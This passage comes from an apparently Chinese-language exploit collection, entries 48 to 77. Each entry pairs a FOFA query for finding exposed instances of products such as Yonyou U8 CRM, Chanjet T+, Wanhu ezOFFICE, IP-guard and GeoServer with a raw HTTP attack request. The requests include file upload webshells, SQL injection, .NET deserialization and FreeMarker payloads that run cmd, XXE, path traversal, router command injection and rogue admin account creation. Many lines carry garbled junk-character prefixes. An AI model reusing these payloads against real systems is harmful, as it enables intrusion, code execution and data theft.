Connection: close



48. 用友U8 CRM swfupload 任意文件上传
FOFA：title="用友U8CRM"
POST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
( I1 R3 E! k4 {* g8 u1 z; IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
! O1 x+ ?+ [+ L4 l2 YAccept-Encoding: gzip, deflate
Content-Type: multipart/form-data;boundary=----269520967239406871642430066855
* T* D  p; R, m. ~------269520967239406871642430066855
  h/ {$ S3 i4 w% B$ [" cContent-Disposition: form-data; name="file"; filename="s.php"
1231
Content-Type: application/octet-stream
, l$ U3 b0 r2 l7 L6 X0 l6 Z! o------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
upload
------269520967239406871642430066855--


49. 用友U8 CRM系统uploadfile.php接口任意文件上传
7 k- R' W- ^" i# B0 h/ IFOFA：body="用友U8CRM"
( ]( {1 ?! m& d: r& x
; @, s9 X* l( PPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
! Y" q/ s0 k; m5 ~Host: x.x.x.x
2 m  T8 Q  D& O8 m) ^# t6 V/ fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
3 ^. y+ Z5 I# ]* j7 }- g) yContent-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
/ y$ p$ [, ^5 M' T+ oAccept-Encoding: gzip, deflate
0 N. [; S. `: W1 @+ [( jAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
: V- X1 O" A  DConnection: close
& t( V8 w' D8 V0 D. w2 DContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w

-----------------------------vvv3wdayqv3yppdxvn3w
$ i* J2 y" ]3 ^7 ?: nContent-Disposition: form-data; name="file"; filename="%s.php "
- E( J( |7 h# |  }' m' mContent-Type: application/octet-stream

wersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
Content-Disposition: form-data; name="upload"
! O3 d6 U9 [# `& V" ]
0 z, L( t, p9 L  [upload
-----------------------------vvv3wdayqv3yppdxvn3w--
+ o  r3 h2 X. n' o
9 B% e8 S, X$ ~3 b  H
http://x.x.x.x/tmpfile/updB3CB.tmp.php

* [( ?0 M  }, U( d: J3 h# _$ {! [50. QDocs Smart School 6.4.1 filterRecords SQL注入
% {+ z- t1 {& |/ I" w- mFOFA：body="close closebtnmodal"
POST /course/filterRecords/ HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
; i& U8 v. O5 D1 M7 pContent-Length: 224
Accept: */*
Accept-Language: en
5 s$ W& ]1 D% }$ _" xContent-Type: application/x-www-form-urlencoded
' |7 c- N4 v7 Y6 j( |Accept-Encoding: gzip
2 B6 @$ {, q& Q! X# G- C  ?
: O4 s; a6 C$ x) _  lsearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1


- X9 F8 C8 o9 l+ }51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
FOFA：app="云时空社会化商业ERP系统"
: D. `) [8 Z/ R' p7 T6 ?5 tGET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
2 _0 M, b  |- [/ R; U6 KAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
& g/ b2 L+ }4 m: y$ b
0 O$ |& d' O% X/ A$ b# C
52. 泛微E-Office json_common.php sql注入
4 Y9 K: Z1 t* j7 h  O: bFOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
- u/ j# J1 G0 u8 \1 aHost: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
* A' K3 D4 G+ _6 }! K& RConnection: close
  P' w5 F  Z  t8 S" ^Content-Length: 87
  d6 X9 r- y6 e, {# EAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
4 T, X/ T3 S# {9 X2 G, p7 DAccept-Encoding: gzip
! h2 ^! X, e6 x5 B; q
2 C  ~+ h6 E5 |0 Stfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
* c6 z, I5 K* n6 C+ M
. j, j7 ], l6 }' l* k. X% ?
+ r: P9 @. B/ h( u7 H8 N0 Z! E( y: a53. 迪普 DPTech VPN Service 任意文件上传
$ x: }( m; c! c# f/ V$ F5 r, ~FOFA：app="DPtech-SSLVPN"
( }- o0 X* k3 B4 h/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd

* x/ `/ I2 ~+ t% Z7 d- i# \
; [5 ?" L) a) S5 n' A, Y: g0 t54. 畅捷通T+ getstorewarehousebystore 远程代码执行
4 A* i2 x- l* qFOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
' m. M& x# I* n  T% k$ {+ z"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"

9 Z# D7 B+ l' h4 j% E. E1 n
' l& H9 \  w% H完整数据包
POST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
3 r% F4 V& D: ?3 H1 G" c) _Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
. K0 e# b  l, u  O, x5 m$ VContent-Length: 593

{
"storeID":{
! _$ z. w( l" N/ k" O$ N, ~( I "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
  "ObjectInstance":{
3 N2 o( d4 e9 z; p4 ]8 T   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
" h$ ~$ h: g# D    "StartInfo":{
8 [# f, _2 N4 F2 I! `   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
2 \5 f2 Z" O8 T8 x3 v: U6 n    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
: `. d! A; x+ ?6 r" A! j    }
+ `; i0 a6 ~1 M  }
  }
+ G* j2 g8 V) W, i9 y% z}

% E. W8 I9 Z$ A2 N. {7 C
第二步，访问如下url
2 a6 }$ }7 f' G" V* }/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt


55. 畅捷通T+ getdecallusers信息泄露
FOFA：app="畅捷通-TPlus"
/ q$ E4 m6 u4 p. I第一步，通过
/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers

56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
' }# R9 P7 R/ J: q; QFOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
, B6 P. [6 M1 J: a* RHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json

{
2 C9 C) j- ^1 s, Y: `  "storeID":{
: o9 A2 [' z. v    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
   "MethodName":"Start",
    "ObjectInstance":{
+ U. [5 {% v- T1 y3 c       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
' s; D0 _  I6 L! g, K6 I- |  S- E           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
) S, z) I9 Y2 q2 z! c" t% Q       }
    }
) d* {$ B' ^* ]% ~7 I) e$ h  }
}


" q1 u" m# C7 ^* U8 c. _57. 畅捷通T+ keyEdit.aspx SQL注入
( t9 [( r7 c: ~# |: y$ N0 i1 DFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
Host: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
+ k; D. @5 s* Q& P. bAccept-Charset: utf-8
Accept-Encoding: gzip, deflate
  z1 `1 q: w7 hConnection: close


58. 畅捷通T+ KeyInfoList.aspx sql注入
& z- ?0 {% \+ O( Y9 K* DFOFA：app="畅捷通-TPlus"
GET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
" U) y1 Q$ n; U+ Z6 LHost: your-ip
( x0 C7 Z  [6 Y+ x: _1 e* yUser-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
/ g9 H( K: k: z1 W/ tAccept-Encoding: gzip, deflate
Connection: close


% b: o0 I* Y0 Q# r6 l7 j59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
/ b' e+ C/ m) r/ S* JFOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
( G2 N9 Q: Q* ePOST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
% j# @) r# y% Q% `1 OConnection: close
, X1 E. G6 T$ W/ b5 f, wContent-Length: 1669
9 V0 @+ G* o- A4 |+ g: v% e0 yAccept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

PAYLOAD
9 c  a0 @& F6 k  K# ]! z
6 U% n- p8 R" [8 Y0 F) N( _3 G
. \+ u! L8 H4 G" N2 s8 M- }( E( o60. 百卓Smart管理平台 importexport.php SQL注入
$ W" V1 b3 \) ~FOFA：title="Smart管理平台"
, u' o, ?8 L$ xGET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
! Y4 P) S- x7 p6 R1 T% a* I5 ~Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
' m; a2 z+ M& W& M" e! i2 y. e9 \Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
' E9 U" N* Z+ i5 ~Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
' ?: n: B  J7 `4 OConnection: close

1 ~7 V- k/ Z7 D" @
9 @5 `4 F& K) U2 Z! [- B4 U61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
8 C. ~  v0 @* R6 mFOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
! Q9 S. h! h0 f1 FHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
3 c9 ~9 ]3 y% c9 U% \Content-Length: 27
1 |% h7 c- B$ X; }1 B8 w  v! D  r0 ]Accept: */*
Accept-Encoding: gzip, deflate
# V3 J6 v8 Z$ rAccept-Language: en
8 C5 N3 N/ G0 g2 lContent-Type: application/x-www-form-urlencoded

! M0 g  d; A' I( k' E" l8uxssX66eqrqtKObcVa0kid98xa


) W: O! R2 ]) T' m* ~62. IP-guard WebServer 远程命令执行
8 X: Z" N' k2 C. C/ qFOFA："IP-guard" && icon_hash="2030860561"
1 Z7 a* ~4 W1 _* _4 a7 S5 V8 [# p3 e( TGET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
# t9 Z2 g, U! N3 oHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
0 a3 n% r! c  A: e! o0 E$ ^+ R5 M6 aConnection: close
: |, y: P! @" k" G& IAccept: */*
! t" Z- a" c5 L: T2 g+ xAccept-Language: en
* h7 O- M7 x! `& G6 I# i4 \Accept-Encoding: gzip
. H7 m5 L5 g( X+ \, \1 r5 q# U9 [$ I
1 j3 U4 X: H  c0 M# t( L0 d
; y) i! B5 T6 H2 q访问

" s4 C5 V2 Q+ ^% _" aGET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
Host: x.x.x.x
2 B, F8 U% L. w  W# \% E; r3 t

63. IP-guard WebServer任意文件读取
IP-guard < 4.82.0609.0
FOFA：icon_hash="2030860561"
4 X. i7 j4 _/ I0 u! t4 _POST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
% z* Y7 B3 [1 tAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/x-www-form-urlencoded

path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A

64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
4 b3 R0 |: M% e5 [6 I9 iPOST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
Host: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
# V# \0 ]7 `5 q1 j% w. ZConnection: close
Content-Length: 369
Accept: */*
Accept-Language: en
Content-Type: text/xml; charset=utf-8
Accept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
' C, J. Y3 @, L8 j7 I<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
% n6 h; [' \7 m" |- H<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
6 C: k" s8 ]0 l6 m      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
' @' A& }9 R1 }, E  </soap:Body>
</soap:Envelope>


65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
FOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
- K: }2 L, |( t响应200即成功创建账号test123456/123456
& y* H' e6 N! k2 dPOST /SystemMng.ashx HTTP/1.1
Host:
' R6 l. o3 R9 D) I- `User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
5 t; t6 H! d3 P) g+ oAccept-Encoding: gzip, deflate
Accept: */*
0 Q# u3 h' e9 @! Z! `Connection: close
, e% U/ ~0 J0 I) pAccept-Language: en
Content-Length: 174
$ b1 I% h, d6 ]4 L
. V+ Q' W/ a' {. x) F2 f9 @operatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators
- m! c& B/ H7 s$ C8 B

66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
* Y% L6 ~& F+ ]8 @' n# _, J+ ^& l
GET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
4 j* Y# h1 w/ z6 H! RHost: x.x.x.x
. S3 R8 }  K  v' RUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
- _( F, J8 L7 ?$ u8 HConnection: close
1 q7 J7 t1 e0 fAccept: */*
Accept-Language: en
% D* y; Z' O& w' ~8 ^Accept-Encoding: gzip


. X+ q, q6 b9 Y4 H1 a( Y1 r! V. u% F第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在
- `( a0 }0 ], K5 G2 v
* y4 |" e: j' F/ |# l67. 万户ezOFFICE wpsservlet任意文件上传
- c' {0 |: L* f7 i, M- xFOFA：app="万户网络-ezOFFICE"
& v$ S2 N# q  g* QnewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
3 S+ _' y. S/ y, L( d" n- lPOST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
5 Y. V' I  m" |: ]Host: x.x.x.x
; N6 W# p# Q  M7 y# }User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
2 T# ^6 A9 i1 x, K( ?4 VContent-Length: 173
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
1 w' D1 J* X3 A7 ]: GAccept-Encoding: gzip, deflate
4 Q- e0 n- ~/ E: OAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
5 e$ k! |7 C! F4 lContent-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
/ y  |) F* n1 L3 G' f, UDNT: 1
Upgrade-Insecure-Requests: 1
- o( Z* [3 }2 p. F! h( s
--ufuadpxathqvxfqnuyuqaozvseiueerp
Content-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
5 W( R4 t: D4 l0 n3 b
<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--
% U, K2 P% l' \0 T, z
7 t; c* R) s4 d6 Z$ E$ D8 b4 w
: D( |6 _+ A" t: \文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp

+ y; y. t' M! ]$ e: u  d9 o' ?68. 万户ezOFFICE wf_printnum.jsp SQL注入
2 Z0 v, V7 L1 Q+ N1 d+ pFOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
4 m1 V$ C# A/ T! U0 d/ w/ aHost: {{host}}
5 Q4 n4 Z, Z) G0 B0 nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
8 m+ [. m: D/ d: O& {0 iAccept-Encoding: gzip, deflate
! Q7 H5 Z3 }* I6 D' O9 fAccept-Language: zh-CN,zh;q=0.9
Connection: close
- z6 p& d9 \9 v* ]( U) {) S
- }: d9 e! X; h% f. t5 a
7 O2 C$ G$ I. D+ ~69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
8 M" M7 x* Q& }  iGET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
7 S( B9 ^9 [/ G* I$ CHost: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
, a+ U: E2 `* v  R6 x! Q8 m; r+ {Accept: */*
Connection: keep-alive
8 D% d" F: G! k

70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
4 ?% i5 ?, p/ ]POST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
5 `1 k, B2 s: U0 @# e* nTYPE: C
Content-Length: 16702

__VIEWSTATE=PAYLOAD

; s( s; s; {1 I3 g( h+ Y6 l6 v3 h
8 N: ~6 y7 B) R- r, \* Z8 I  y. Q1 `71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
2 y( X. W) a6 g3 t: b! b% SGET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
& i+ x9 s# v+ k' B! f6 xUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
# e0 i3 Q: e) m: A$ J0 k. vConnection: close
0 E. b/ |8 A5 y2 s+ EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1


' T$ ?% h2 g$ U# ]2 g72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
2 A9 X/ j. t4 `$ kPOST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
6 V. N  z' |$ N' w: e4 }Host: 192.168.40.131:8099
* \7 }  S$ C1 z* u2 W: Y5 yUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
+ M9 m: J/ }7 c  _5 F; ?Connection: close
Content-Length: 583
+ F0 f% \: ]! O6 a1 uContent-Type: application/x-www-form-urlencoded
' Z  [/ [+ E/ H5 |0 _( LAccept-Encoding: gzip

  ?" H' `5 L3 |S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
6 O0 }$ W5 P1 O# N" ?# n6 y

73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
* q4 _  }) W# }: U2 z" GPOST /geoserver/wms HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
" l/ l! k* x) l/ Y  w( ]& tContent-Length: 1981
6 e( g6 }5 I! ?Accept-Encoding: gzip, deflate
Connection: close
" l) w2 {3 p' [9 r; nContent-Type: application/xml
SL-CE-SUID: 3

PAYLOAD
: E  v7 h  R) c4 `
, ]  j, f$ G. S6 T; T* T
# R1 J$ ]4 z% w8 {& r8 u5 |* ~74. 致远M3-server 6_1sp1 反序列化RCE
6 V' [8 E6 W6 G4 U7 g* T' [FOFA：title="M3-Server"
PAYLOAD
- Y+ T8 f( B( U; j% n
1 |/ X! B! G' c/ p( n5 {- f75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
7 E. r/ P1 R7 T) q' @) m: fFOFA：app="TELESQUARE-TLR-2005KSH"
7 F& w$ W+ c2 gGET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
8 n9 ~. b; ]2 n* ]( \  wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
0 T: @- I+ G* P8 [Connection: close
Accept: */*
2 z% R7 `! H* a- ^/ WAccept-Language: en
/ x# `6 b, m3 Q6 a4 F3 |: \Accept-Encoding: gzip


GET /cgi-bin/test28256.txt HTTP/1.1
8 h: i% Y! z2 I  j- q4 BHost: x.x.x.x
: b4 f% ~6 Y, ?2 P" V

% s" K6 Y7 D. w/ C& d9 \# q3 H76. 新开普掌上校园服务管理平台service.action远程命令执行
1 R. {9 e+ A% [% T* C% k% }% IFOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
, e$ ~$ y4 P8 P; KHost: x.x.x.x
6 f' \: M. c# b0 y0 `: jUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
) _5 w" H7 B, M6 O9 KConnection: close
1 R! ~8 S# Z& S% l; K8 b/ e, L) W4 WContent-Length: 211
& J" b/ |  m# L" @- `Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Cookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
Upgrade-Insecure-Requests: 1

{
9 g' l$ ~  [* R  z- H: @: k* \/ e"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
}
+ L" E7 M& X4 N0 p7 Q- I) |. K

3 Q. @0 J; e& H+ i4 `- Y4 `' GGET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x


  b+ n( @' l+ e
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
0 `: |4 l8 z- _' @# ?1 tHost: x.x.x.x
" k6 {% I+ N0 O: gUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
Content-Length: 433
- c4 M, b& W5 AAccept: */*
1 W( z3 h4 X( R9 N" n/ WAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
/ O& A/ P! |1 KContent-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"

! `5 G* `# _3 G8 ]- `. O7 g# K' M  X/upload/udplog
------------398jnjVTTlDVXHlE7yYnfwBoix
